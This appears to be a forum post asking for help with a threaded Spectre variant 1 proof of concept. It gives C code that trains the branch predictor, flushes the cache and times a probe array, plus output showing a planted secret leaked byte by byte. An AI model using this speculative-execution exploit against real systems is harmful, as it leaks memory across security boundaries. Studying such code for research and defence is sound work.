Spectre example code - using threads and showing detailed statistics

spectre-thread.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>

#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Thread code
********************************************************************/
int counter_thread_ended = 0;
uint32_t counter = 0;

void *counter_function(void *x_void_ptr)
{
  while (!counter_thread_ended) {
    counter++;
  }

  printf("counter thread finished\n");
  return NULL;
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (60) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  static uint64_t time[256];
  static uint64_t num_time[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint32_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++) {
    results[i] = 0;
    time[i] = 0;
    num_time[i] = 0;
  }

  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = counter; /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

      time[mix_i] += time2;
      num_time[mix_i]++;

      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  for (i = 0; i < 256; i++) {
    printf("Average time for %d: %f, hits: %d\n", i, (double) (time[i] / num_time[i]), results[i]);
  }

  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  // Setup the counter thread.
  pthread_t counter_thread;

  if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
    fprintf(stderr, "Error creating thread\n");
    return 1;
  }
  // End Setup

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */

  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }

  // Start: Exit counter thread
  counter_thread_ended = 1;
  if (pthread_join(counter_thread, NULL)) {
    fprintf(stderr, "Error joining thread\n");
    return 2;
  }
  // End: Exit counter thread

  return (0);
}

vendor_id       : AuthenticAMD
cpu family      : 22
model           : 48
model name      : AMD A4-7210 APU with AMD Radeon R3 Graphics
stepping        : 1
microcode       : 0x7030105

Compile: gcc spectre.c -o spectre, #define CACHE_HIT_THRESHOLD 70

Reading 40 bytes:                                                       
Reading at malicious_x = 0xffffffffffdfee48... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee49... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee4a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee4b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee4c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfee4d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee4e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee4f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee50... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee51... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee52... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee53... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee54... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee55... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee56... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee57... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee59... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee60... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee62... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee63... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee64... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee65... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee66... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee67... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee68... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee69... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x2E=’.’ score=2

I can't get this to work. counter seems to be being cached, so I get the same value for the read before and after, and time2 is always 0.